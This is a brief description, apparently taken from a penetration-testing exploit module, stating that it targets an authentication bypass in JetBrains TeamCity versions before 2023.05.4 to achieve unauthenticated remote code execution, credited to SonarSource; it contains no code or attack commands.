          This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution
          against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are
          vulnerable to this issue. The vulnerability was originally discovered by SonarSource.
